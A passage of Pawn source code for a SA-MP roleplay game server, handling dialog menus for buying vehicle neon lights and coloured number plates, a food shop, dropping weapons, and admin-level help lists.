  AttachObjectToVehicle(CarNeons[vehicleid][9], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  //AttachObjectToVehicle(CarNeons[vehicleid][10], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
  //AttachObjectToVehicle(CarNeons[vehicleid][11], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
  VehicleNeon[vehicleid] = 1;
  PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
  SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
  if(PINFO[playerid][pCar_1] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
  vInfo[veh][cNeon] = 18649;
  SaveKonValV(veh, "cNeon", 18649);
  }
  if(PINFO[playerid][pCar_2] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
  vInfo[veh][cNeon] = 18649;
  SaveKonValV(veh, "cNeon", 18649);
  }
  if(PINFO[playerid][pCar_4] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
  vInfo[veh][cNeon] = 18649;
  SaveKonValV(veh, "cNeon", 18649);
  }
  if(PINFO[playerid][pCar_5] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
  vInfo[veh][cNeon] = 18649;
  SaveKonValV(veh, "cNeon", 18649);
  }
  if(PINFO[playerid][pCar_6] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
  vInfo[veh][cNeon] = 18649;
  SaveKonValV(veh, "cNeon", 18649);
  }
  PlayerPlaySound(playerid,1133,0.0,0.0,0.0);
  new abb[144];
  format(abb, sizeof(abb), "You bought {00FF00}green{F5DEB3} neon for %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost]));
  SCM(playerid, COLOR_SINARANG, abb);
}
if(listitem == 3)// White
{
  if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
  if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
  CarNeons[vehicleid][12] = CreateObject(18652,0,0,0,0,0,0);
  CarNeons[vehicleid][13] = CreateObject(18652,0,0,0,0,0,0);
  CarNeons[vehicleid][14] = CreateObject(18652,0,0,0,0,0,0);
  CarNeons[vehicleid][15] = CreateObject(18652,0,0,0,0,0,0);
  AttachObjectToVehicle(CarNeons[vehicleid][12], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  AttachObjectToVehicle(CarNeons[vehicleid][13], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  //AttachObjectToVehicle(CarNeons[vehicleid][14], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
  //AttachObjectToVehicle(CarNeons[vehicleid][15], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
  VehicleNeon[vehicleid] = 1;
  PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
  SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
  if(PINFO[playerid][pCar_1] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
  vInfo[veh][cNeon] = 18652;
  SaveKonValV(veh, "cNeon", 18652);
  }
  if(PINFO[playerid][pCar_2] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
  vInfo[veh][cNeon] = 18652;
  SaveKonValV(veh, "cNeon", 18652);
  }
  if(PINFO[playerid][pCar_4] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
  vInfo[veh][cNeon] = 18652;
  SaveKonValV(veh, "cNeon", 18652);
  }
  if(PINFO[playerid][pCar_5] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
  vInfo[veh][cNeon] = 18652;
  SaveKonValV(veh, "cNeon", 18652);
  }
  if(PINFO[playerid][pCar_6] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
  vInfo[veh][cNeon] = 18652;
  SaveKonValV(veh, "cNeon", 18652);
  }
  PlayerPlaySound(playerid,1133,0.0,0.0,0.0);
  new abb[144];
  format(abb, sizeof(abb), "You bought {FFFFFF}white{F5DEB3} neon for %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost]));
  SCM(playerid, COLOR_SINARANG, abb);
}
if(listitem == 4)// Pink
{
  if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
  if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
  CarNeons[vehicleid][16] = CreateObject(18651,0,0,0,0,0,0);
  CarNeons[vehicleid][17] = CreateObject(18651,0,0,0,0,0,0);
  CarNeons[vehicleid][18] = CreateObject(18651,0,0,0,0,0,0);
  CarNeons[vehicleid][19] = CreateObject(18651,0,0,0,0,0,0);
  AttachObjectToVehicle(CarNeons[vehicleid][16], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  AttachObjectToVehicle(CarNeons[vehicleid][17], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  //AttachObjectToVehicle(CarNeons[vehicleid][18], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
  //AttachObjectToVehicle(CarNeons[vehicleid][19], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
  VehicleNeon[vehicleid] = 1;
  PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
  SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
  if(PINFO[playerid][pCar_1] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
  vInfo[veh][cNeon] = 18651;
  SaveKonValV(veh, "cNeon", 18651);
  }
  if(PINFO[playerid][pCar_2] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
  vInfo[veh][cNeon] = 18651;
  SaveKonValV(veh, "cNeon", 18651);
  }
  if(PINFO[playerid][pCar_4] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
  vInfo[veh][cNeon] = 18651;
  SaveKonValV(veh, "cNeon", 18651);
  }
  if(PINFO[playerid][pCar_5] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
  vInfo[veh][cNeon] = 18651;
  SaveKonValV(veh, "cNeon", 18651);
  }
  if(PINFO[playerid][pCar_6] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
  vInfo[veh][cNeon] = 18651;
  SaveKonValV(veh, "cNeon", 18651);
  }
  PlayerPlaySound(playerid,1133,0.0,0.0,0.0);
  new abb[144];
  format(abb, sizeof(abb), "You bought {FF00CC}pink{F5DEB3} neon for %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost]));
  SCM(playerid, COLOR_SINARANG, abb);
}
if(listitem == 5)// Yellow
{
  if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
  if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
  CarNeons[vehicleid][20] = CreateObject(18650,0,0,0,0,0,0);
  CarNeons[vehicleid][21] = CreateObject(18650,0,0,0,0,0,0);
  CarNeons[vehicleid][22] = CreateObject(18650,0,0,0,0,0,0);
  CarNeons[vehicleid][23] = CreateObject(18650,0,0,0,0,0,0);
  AttachObjectToVehicle(CarNeons[vehicleid][20], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  AttachObjectToVehicle(CarNeons[vehicleid][21], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  //AttachObjectToVehicle(CarNeons[vehicleid][22], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
  //AttachObjectToVehicle(CarNeons[vehicleid][23], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
  VehicleNeon[vehicleid] = 1;
  PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
  SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
  if(PINFO[playerid][pCar_1] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
  vInfo[veh][cNeon] = 18650;
  SaveKonValV(veh, "cNeon", 18650);
  }
  if(PINFO[playerid][pCar_2] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
  vInfo[veh][cNeon] = 18650;
  SaveKonValV(veh, "cNeon", 18650);
  }
  if(PINFO[playerid][pCar_4] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
  vInfo[veh][cNeon] = 18650;
  SaveKonValV(veh, "cNeon", 18650);
  }
  if(PINFO[playerid][pCar_5] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
  vInfo[veh][cNeon] = 18650;
  SaveKonValV(veh, "cNeon", 18650);
  }
  if(PINFO[playerid][pCar_6] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
  vInfo[veh][cNeon] = 18650;
  SaveKonValV(veh, "cNeon", 18650);
  }
  PlayerPlaySound(playerid,1133,0.0,0.0,0.0);
  new abb[144];
  format(abb, sizeof(abb), "You bought {FFFF00}yellow{F5DEB3} neon for %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost]));
  SCM(playerid, COLOR_SINARANG, abb);
}

}
else
{
SCM(playerid, COLOR_YELLOW2, "Error: You should be driver of a vehicle.");
}
}
return 1;
}
if(dialogid == 7386)
{
if(response)
{
new sweapon, sammo, veve[144], wepname[20];
GetPlayerWeaponData(playerid, Selectedd[playerid][listitem], sweapon, sammo);
#pragma unused sammo
RemovePlayerGun(playerid, sweapon);
GetWeaponName(sweapon, wepname, sizeof(wepname));
format(veve, sizeof(veve), "%s has thrown away %s %s.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), wepname);
ProxDetector(30.0, playerid, veve, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
}
return 1;
}
if(dialogid == 6804)
{
if(response)
{
new BeerCost = 2;
new HotCost = 10;
new HamCost = 10;
new begoo[10];
if(listitem == 0)// Hotdog
{
if(!PTP(2, playerid, 754.454162, 1457.592163, 1102.741943)) return SCM(playerid, COLOR_YELLOW2, "Error: You must be close to Fanny Batter's Brothel shop.");
if(GetPlayerPool(playerid) < HotCost) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash");
GivePlayerPool(playerid, -HotCost);
LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
new Biz = GetPlayerVirtualWorld(playerid);
BizzInfo[Biz][bTill] += HotCost;
format(begoo, sizeof(begoo), "~R~-$%s",FormatNumber(HotCost));
GameTextForPlayer(playerid, begoo, 5000, 1);
FixKoon(playerid);
}
if(listitem == 1)// Hamburger
{
if(!PTP(2, playerid, 754.454162, 1457.592163, 1102.741943)) return SCM(playerid, COLOR_YELLOW2, "Error: You must be close to Fanny Batter's Brothel shop.");
if(GetPlayerPool(playerid) < HamCost) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash");
GivePlayerPool(playerid, -HamCost);
LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
new Biz = GetPlayerVirtualWorld(playerid);
BizzInfo[Biz][bTill] += HamCost;
format(begoo, sizeof(begoo), "~R~-$%s",FormatNumber(HamCost));
GameTextForPlayer(playerid, begoo, 5000, 1);
FixKoon(playerid);
}
if(listitem == 2)// Beer
{
if(!PTP(2, playerid, 754.454162, 1457.592163, 1102.741943)) return SCM(playerid, COLOR_YELLOW2, "Error: You must be close to Fanny Batter's Brothel shop.");
if(GetPlayerPool(playerid) < BeerCost) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash");
GivePlayerPool(playerid, -BeerCost);
SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_BEER);
new Biz = GetPlayerVirtualWorld(playerid);
BizzInfo[Biz][bTill] += BeerCost;
format(begoo, sizeof(begoo), "~R~-$%s",FormatNumber(BeerCost));
GameTextForPlayer(playerid, begoo, 5000, 1);
}
}
return 1;
}


if(dialogid == 9419)
{
if(response)
{



new v, Float:x, Float:y, Float:z, Float:ang;
if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_1])
{
if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
v = PINFO[playerid][pVeh1];
SetVehicleNumberPlate(GetPlayerVehicleID(playerid), textPlate[playerid]);
GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
strmid(vInfo[v][cPlate], textPlate[playerid], 0, strlen(textPlate[playerid]), 255);
SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
new aaa[100];
format(aaa, sizeof(aaa), "~w~Number plate has placed~n~~r~-%s golds", FormatNumber(SBizzInfo[36][sbEntranceCost]));
GameTextForPlayer(playerid, aaa, 4000, 3);
SBizzInfo[36][sbTill] += (SBizzInfo[36][sbEntranceCost]+2000);
textPlate[playerid] = "NULL";
return 1;
}
if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_2])
{
if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
v = PINFO[playerid][pVeh2];
SetVehicleNumberPlate(GetPlayerVehicleID(playerid), textPlate[playerid]);
GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
strmid(vInfo[v][cPlate], textPlate[playerid], 0, strlen(textPlate[playerid]), 255);
SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
new aaa[100];
format(aaa, sizeof(aaa), "~w~Number plate has placed~n~~r~-%s golds", FormatNumber(SBizzInfo[36][sbEntranceCost]));
GameTextForPlayer(playerid, aaa, 4000, 3);
SBizzInfo[36][sbTill] += (SBizzInfo[36][sbEntranceCost]+2000);
textPlate[playerid] = "NULL";
return 1;
}
if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_3])
{
if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
v = PINFO[playerid][pVeh3];
SetVehicleNumberPlate(GetPlayerVehicleID(playerid), textPlate[playerid]);
GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
strmid(vInfo[v][cPlate], textPlate[playerid], 0, strlen(textPlate[playerid]), 255);
SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
new aaa[100];
format(aaa, sizeof(aaa), "~w~Number plate has placed~n~~r~-%s golds", FormatNumber(SBizzInfo[36][sbEntranceCost]));
GameTextForPlayer(playerid, aaa, 4000, 3);
SBizzInfo[36][sbTill] += (SBizzInfo[36][sbEntranceCost]+2000);
textPlate[playerid] = "NULL";
return 1;
}
if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_4])
{
if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
v = PINFO[playerid][pVeh4];
SetVehicleNumberPlate(GetPlayerVehicleID(playerid), textPlate[playerid]);
GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
strmid(vInfo[v][cPlate], textPlate[playerid], 0, strlen(textPlate[playerid]), 255);
SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
new aaa[100];
format(aaa, sizeof(aaa), "~w~Number plate has placed~n~~r~-%s golds", FormatNumber(SBizzInfo[36][sbEntranceCost]));
GameTextForPlayer(playerid, aaa, 4000, 3);
SBizzInfo[36][sbTill] += (SBizzInfo[36][sbEntranceCost]+2000);
textPlate[playerid] = "NULL";
return 1;
}
if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_5])
{
if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
v = PINFO[playerid][pVeh5];
SetVehicleNumberPlate(GetPlayerVehicleID(playerid), textPlate[playerid]);
GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
strmid(vInfo[v][cPlate], textPlate[playerid], 0, strlen(textPlate[playerid]), 255);
SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
new aaa[100];
format(aaa, sizeof(aaa), "~w~Number plate has placed~n~~r~-%s golds", FormatNumber(SBizzInfo[36][sbEntranceCost]));
GameTextForPlayer(playerid, aaa, 4000, 3);
SBizzInfo[36][sbTill] += (SBizzInfo[36][sbEntranceCost]+2000);
textPlate[playerid] = "NULL";
return 1;
}
if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_6])
{
if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
v = PINFO[playerid][pVeh6];
SetVehicleNumberPlate(GetPlayerVehicleID(playerid), textPlate[playerid]);
GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
strmid(vInfo[v][cPlate], textPlate[playerid], 0, strlen(textPlate[playerid]), 255);
SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
new aaa[100];
format(aaa, sizeof(aaa), "~w~Number plate has placed~n~~r~-%s golds", FormatNumber(SBizzInfo[36][sbEntranceCost]));
GameTextForPlayer(playerid, aaa, 4000, 3);
SBizzInfo[36][sbTill] += (SBizzInfo[36][sbEntranceCost]+2000);
textPlate[playerid] = "NULL";
return 1;
}




}
else
{
textPlate[playerid] = "NULL";
}
return 1;
}

if(dialogid == 7916)
{
if(response)
{
new length = strlen(inputtext);
if(length > 20 || length < 11)
{
ShowPlayerDialog(playerid,7916,DIALOG_STYLE_INPUT,"Colored Plate","{FF0000}* Your length of plate is more than 20 or lower than 11.\n{A9C4E4}Enter the plate you want set with hex color\ne.g: (FF0000)Plate\n{FF0000}NOTE: YOU SHOULD WRITE HEX COLOR START WITH { AND END WITH } LIKE ABOVE LINE\n{FF0000}REPLACE ( WITH { AND ) WITH }","Done","Close");
return 1;
}
if(AntiSQLInject(inputtext))
{
ShowPlayerDialog(playerid,7916,DIALOG_STYLE_INPUT,"Colored Plate","{FF0000}* You used invalid characters.\n{A9C4E4}Enter the plate you want set with hex color\ne.g: (FF0000)Plate\n{FF0000}NOTE: YOU SHOULD WRITE HEX COLOR START WITH { AND END WITH } LIKE ABOVE LINE\n{FF0000}REPLACE ( WITH { AND ) WITH }","Done","Close");
return 1;
}
    new
        pos = -1;
    while ((pos = strfind(inputtext, "{", false, pos + 1)) != -1)
    {
        new
            c = pos + 1,
            n = 0,
            ch;
        while ((ch = inputtext[c]) && n != 6)
        {
            if (!('a' <= ch <= 'f' || 'A' <= ch <= 'F' || '0' <= ch <= '9'))
            {
                break;
            }
            ++c;
            ++n;
        }
        if (n == 6 && ch == '}')
        {
		  new dial[100];
		  format(dial, sizeof(dial), "Are you sure you want to set your plate to %s{A9C4E4}?", inputtext);
		  ShowPlayerDialog(playerid, 9419, DIALOG_STYLE_MSGBOX, "Colored Plate", dial, "Yes", "No");
		  strcpy(textPlate[playerid],inputtext,25);
		  return 1;
        }
        else
        {
        ShowPlayerDialog(playerid,7916,DIALOG_STYLE_INPUT,"Colored Plate","{FF0000}* You entered an invalid hex color.\n{A9C4E4}Enter the plate you want set with hex color\ne.g: (FF0000)Plate\n{FF0000}NOTE: YOU SHOULD WRITE HEX COLOR START WITH { AND END WITH } LIKE ABOVE LINE\n{FF0000}REPLACE ( WITH { AND ) WITH }","Done","Close");
        return 1;
        }
    }
}
return 1;
}




	// New /Adh Added by Sina
	
	
	
	
	
if(dialogid == 1879)
	{
		if(response)
		{
		  if(listitem == 0)// Adm Help Level 1 by Sina
		  {
		  if(PINFO[playerid][pAdmin] < 1)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1427, DIALOG_STYLE_MSGBOX,"Admin Level 1:","/autojetpack /o /GMute /CancelAD /ACheckJob /MySActivity /StaffShopStats /StaffShop /CheckReferral /requestrelog /specoff\n/cc /ar /cr /reports /al /ae /specplayer /checkskill  /stopevent\n/ajail /setint /pm /goto /asuspend /stoppb /agr /o(oc)/slap /mute /kick\n/warn /ban /respawn /sban /skick\n\n/checkweapons /jetpack /rjetpack /ahrec /unahrec /idajail /ags","Close","");
			return 1;
			}
			if(listitem == 1)// Adm Help Level 2 by Sina
		  {
		  if(PINFO[playerid][pAdmin] < 2)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1428, DIALOG_STYLE_MSGBOX,"Admin Level 2:","/freeze /unfreeze /skydive /gotolist /atakegun /fly /drag\n/nitro /fixveh /setmypos /dfind /refs /blockip","Close","");
			return 1;
			}
			if(listitem == 2)// Adm Help Level 3 by Sina
		  {
		  if(PINFO[playerid][pAdmin] < 3)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1429, DIALOG_STYLE_MSGBOX,"Admin Level 3:","/check /rpfv /rtc /respawncar /agl /veh /setjob /tp /tpp /gg /ravm /racm /favm /dv /vehslap /mark /gotomark /aglall","Close","");
			return 1;
			}
			if(listitem == 3)// Adm Help Level 4 by Sina
		  {
		  if(PINFO[playerid][pAdmin] < 4)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1430, DIALOG_STYLE_MSGBOX,"Admin Level 4:","/StopBoomBox /biz /sbiz /house /lockengine /unlockengine /freezeall /unfreezeall /amodveh /vehcolor /fav\n/supervehslap /entercar /getcar /sethp /setarmor /jetpackto","Close","");
			return 1;
			}
			if(listitem == 4)// Adm Help Level 5 by Sina
		  {
		  if(PINFO[playerid][pAdmin] < 5)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1431, DIALOG_STYLE_MSGBOX,"Admin Level 5:","/GetFPS /ForceRelog /SPoints /Points /sethpall /setarmorall /racd /afill /dva /clearwanted\n/setskin /surf /surflist /unsurf /gm /ints /takegunall /ggall","Close","");
			return 1;
			}
			if(listitem == 5)// Adm Help Level 6 by Sina
		  {
		  if(PINFO[playerid][pAdmin] < 6)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1501, DIALOG_STYLE_MSGBOX,"Supervisor:","/getip /autogm /Gmute /GunLock /GLock /SetTurfOwner /SetVW /Boxes /unjailme /givecard /rac /asellcar /bigear /nofind /ffnn\n/gotocar /rav /fuelcars /afcheck /weather /makeleader","Close","");
			return 1;
			}
			if(listitem == 6)// Adm Help Level 7 by Sina
		  {
		  if(PINFO[playerid][pAdmin] < 7)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1502, DIALOG_STYLE_MSGBOX,"HosterLvl 1:","/autogm /hosterlic /myhoster /hosterhelp /setlawyerpointskill /afightstyle /stopwar /endwar /cwar /unjail /flymode /flymode2 /changenick /gotohint /agivemats\n/agivedr /movehouse /SetMatSkill /SetDetSkill /SetLawSkill /SetMechSkill /SetNewsSkill /SetJackSkill /SetDrugsSkill /SetRobSkill","Close","");
			return 1;
			}
			if(listitem == 7)// Adm Help Level 8 by Sina
		  {
			if(PINFO[playerid][pAdmin] < 8)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1503, DIALOG_STYLE_MSGBOX, "HosterLvl 3:","/hosterlic /myhoster /hosterhelp /setsex\n/safezone /unrec /rec","Close","");
			return 1;
			}
			if(listitem == 8)// Adm Help Level 9 by Sina
		  {
			if(PINFO[playerid][pAdmin] < 9)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1504, DIALOG_STYLE_MSGBOX, "HosterLvl 6:","/hosterlic /myhoster /hosterhelp /SetFactionPunish /SetRobPoints /GiveMoney","Close","");
			return 1;
			}
			if(listitem == 9)// Adm Help Level 10 by Sina
		  {
			if(PINFO[playerid][pAdmin] < 10)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1505, DIALOG_STYLE_MSGBOX, "CM Assistant:","/SurfSV /SetBankMoney /MusicAll /BanList /Weatherall /Tod /CheckHDay /ShowSActivity /HeadShot /TheftSystem /PrisonBreak","Close","");
			return 1;
			}
			if(listitem == 10)// Adm Help Level 11 by Sina
		  {
			if(PINFO[playerid][pAdmin] < 11)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
			ShowPlayerDialog(playerid, 1506, DIALOG_STYLE_MSGBOX, "CM Manager:","/AUnInvite /Skin /Mlp /Mhp /ClearAllFP /Hell /SetPoint /GivePoint /SetStaffPoint /GiveStaffPoint /SetHosterDay /GiveHosterDay /GiveBox /NWarn.","Close","");
			return 1;
			}
			if(listitem == 11)// Adm Help Level 12 by Sina
		  {
			if(PINFO[playerid][pAdmin] < 12)
		  {
		  SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't see your higher adminlevel helps.");
			return 1;
			}
